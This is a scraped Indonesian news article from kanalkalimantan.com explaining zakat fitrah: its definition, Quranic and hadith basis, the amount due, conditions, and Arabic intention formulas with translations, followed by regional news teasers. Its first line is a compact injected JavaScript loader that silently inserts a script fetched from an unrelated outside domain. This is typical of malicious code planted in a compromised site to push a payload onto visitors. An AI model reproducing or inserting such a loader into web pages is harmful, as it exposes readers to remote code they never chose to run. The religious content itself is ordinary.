(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Di bulan Ramadhan, selain diwajibkan untuk menunaikan ibadah puasa, anda juga memiliki kewajiban lainnya yaitu mengeluarkan zakat fitrah.
Zakat fitrah adalah zakat yang wajib dikeluarkan setiap menjelang hari raya idulfitri bagi orang Islam yang mampu dan memenuhi syarat. Lantas apa saja syarat dan ketentuan dalam mengeluarkan zakat fitrah? Langsung saja simak penjelasannya berikut ini.
[Anonymous1]orang Islam
Pengertian Zakat Fitrah
Zakat fitrah adalah menyucikan harta. Hukumnya wajib ditunaikan bagi orang-orang yang memiliki kemampuan untuk menunaikannya. Sebutan bagi orang yang wajib mengeluarkan zakat adalah muzakki. Waktu untuk mengeluarkan zakat fitrah hanya dilakukan 1 tahun sekali, terutama saat menjelang hari raya idul fitri dan di bulan ramadhan.
Dalil yang menyebutkan tentang zakat fitrah tercantum dalam Al Quran surat an-Nahl ayat 71, yang berbunyi:
وَٱللَّهُ فَضَّلَ بَعْضَكُمْ عَلَىٰ بَعْضٍ فِى ٱلرِّزْقِ ۚ فَمَا ٱلَّذِينَ فُضِّلُوا۟ بِرَآدِّى رِزْقِهِمْ عَلَىٰ مَا مَلَكَتْ أَيْمَٰنُهُمْ فَهُمْ فِيهِ سَوَآءٌ ۚ أَفَبِنِعْمَةِ ٱللَّهِ يَجْحَدُونَ
Artinya: “Dan Allah melebihkan sebagian kamu atas sebagian yang lain dalam hal rezeki, tetapi orang-orang yang dilebihkan (rezekinya itu) tidak mau memberikan rezeki kepada budak-budak yang mereka miliki, agar mereka sama (merasakan) rezeki itu. Maka mengapa mereka mengingkari nikmat Allah?”
Nabi Muhammad SAW juga mewajibkan umat islam menunaikan zakat sebagaimana hadis Ibu Umar RA yang berbunyi:
“Rasulullah SAW mewajibkan zakat fitrah satu sha’ kurma atau satu sha’ gandum atas umat muslim; baik hamba sahaya maupun merdeka, laki-laki maupun perempuan, kecil maupun besar. Beliau SAW memerintahkannya dilaksanakan sebelum orang-orang keluar untuk salat Idulfitri.” (HR Bukhari Muslim)
[Anonymous1]untuk shalat (hari Raya Idul Fitri)
Harta benda yang dikeluarkan sebagai zakat fitrah adalah berupa makanan pokok, seperti beras, gandum, sagu, dan sejenisnya sebesar 1 sha’ yang setara dengan 2,5 kg atau 3,5 liter. Zakat fitrah dalam bentuk uang telah dibolehkan oleh para ulama yang diantaranya adalah Syaikh Yusuf Qardhawi. Untuk nominal uang yang dikeluarkan harus setara dengan harga beras yang dikonsumsi yakni sebesar Rp40.000/hari/jiwa.
Syarat Zakat Fitrah
Zakat fitrah adalah zakat yang bertujuan untuk mensucikan diri usai menunaikan ibadah. Zakat fitrah diwajibkan untuk muslim yang telah memenuhi syarat berikut:
Zakat fitrah juga wajib bagi kepala keluarga yang mempunyai harta lebih dari kebutuhan sehari-hari. Selain berzakat untuk dirinya sendiri, seorang kepala keluarga juga harus berzakat untuk orang-orang yang berada di bawah tanggungannya, seperti istri, anak-anak, termasuk orang tua.
Zakat fitrah diterima apabila ditunaikan di waktu yang tepat. Adapun waktu-waktu yang tepat untuk mengeluarkan zakat fitrah adalah sebagai berikut:
Niat Zakat Fitrah
Saat menunaikan zakat fitrah, Anda wajib membaca niat karena zakat fitrah merupakan bagian dari ibadah. Niat untuk zakat fitrah diri sendiri, berbeda dari niat untuk keluarga, berikut niatnya:
ﻧَﻮَﻳْﺖُ أَﻥْ أُﺧْﺮِﺝَ ﺯَﻛَﺎﺓَ ﺍﻟْﻔِﻄْﺮِ ﻋَﻦْ ﻧَﻔْسيْ ﻓَﺮْﺿًﺎ ﻟﻠﻪِ ﺗَﻌَﺎﻟَﻰ
Nawaytu an ukhrija zakaata al-fitri ‘an nafsi fardhan lillahi ta’ala
Artinya: “Aku niat mengeluarkan zakat fitrah untuk diriku sendiri fardhu karena Allah Ta’ala.”
ﻧَﻮَﻳْﺖُ ﺃَﻥْ ﺃُﺧْﺮِﺝَ ﺯَﻛَﺎﺓَ ﺍﻟْﻔِﻄْﺮِ ﻋَنِّيْ ﻭَﻋَﻦْ ﺟَﻤِﻴْﻊِ ﻣَﺎ ﻳَﻠْﺰَﻣُنِيْ ﻧَﻔَﻘَﺎﺗُﻬُﻢْ ﺷَﺮْﻋًﺎ ﻓَﺮْﺿًﺎ ﻟﻠﻪِ ﺗَﻌَﺎﻟَﻰ
Nawaytu an ukhrija zakaata al-fitri anni wa an jami’i ma yalzimuniy nafaqatuhum syar’an fardhan lillahi ta’ala
Artinya: “Aku niat mengeluarkan zakat fitrah untuk diriku dan seluruh orang yang nafkahnya menjadi tanggunganku fardhu karena Allah Taala.”
ﻧَﻮَﻳْﺖُ ﺃَﻥْ ﺃُﺧْﺮِﺝَ ﺯَﻛَﺎﺓَ ﺍﻟْﻔِﻄْﺮِ ﻋَﻦْ ﻭَﻟَﺪِﻱْ … ﻓَﺮْﺿًﺎ ﻟﻠﻪِ ﺗَﻌَﺎﻟَﻰ
Nawaytu an ukhrija zakaata al-fitri ‘an waladi fardhan lillahi ta’ala
Artinya: “Aku niat mengeluarkan zakat fitrah untuk anak laki-lakiku ……(sebutkan nama), fardhu karena Allah Taala.”
ﻧَﻮَﻳْﺖُ ﺃَﻥْ ﺃُﺧْﺮِﺝَ ﺯَﻛَﺎﺓَ ﺍﻟْﻔِﻄْﺮِ ﻋَﻦْ ﻭَﻟَﺪِﻱْ … ﻓَﺮْﺿًﺎ ﻟﻠﻪِ ﺗَﻌَﺎﻟَﻰ
Nawaytu an ukhrija zakaata al-fitri’an waladi (……….) fardhan lillahi ta’ala
Artinya: “Aku niat mengeluarkan zakat fitrah untuk anak laki-lakiku ……(sebutkan nama), fardhu karena Allah Taala.”
ﻧَﻮَﻳْﺖُ ﺃَﻥْ ﺃُﺧْﺮِﺝَ ﺯَﻛَﺎﺓَ ﺍﻟْﻔِﻄْﺮِﻋَﻦْ ﺯَﻭْﺟَﺘِﻲْ ﻓَﺮْﺿًﺎ ﻟﻠﻪِ ﺗَﻌَﺎﻟَﻰ
Nawaytu an ukhrija zakaata al-fitri ‘an zaujati fardhan lillahi ta’ala
Artinya: “Aku niat mengeluarkan zakat fitrah untuk istriku fardhu karena Allah Taala.”
ﻧَﻮَﻳْﺖُ ﺃَﻥْ ﺃُﺧْﺮِﺝَ ﺯَﻛَﺎﺓَ ﺍﻟْﻔِﻄْﺮِ ﻋَﻦْ (..…) ﻓَﺮْﺿًﺎ ﻟﻠﻪِ ﺗَﻌَﺎﻟَﻰ
Nawaitu an ukhrija zakaata al-fitri’an (…….) fardhan lillahi ta’ala
Artinya: “Aku niat mengeluarkan zakat fitrah untuk……..(sebutkan nama spesifik), fardhu karena Allah Ta’ala.”
Dari sini dapat disimpulkan bahwa zakat fitrah adalah salah satu kewajiban yang harus ditunaikan oleh siapapun yang mampu dan memenuhi syarat. Nah, jika Anda mencari informasi seputar zakat dan wakaf yang lengkap, Anda bisa mengikuti Literasi Zakat Wakaf. Temukan kami dengan follow @literasizakatwakaf atau dengan subscribe kanal Literasi Zakat Wakaf. Semoga bermanfaat!. (kanalkalimantan.com/al)
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.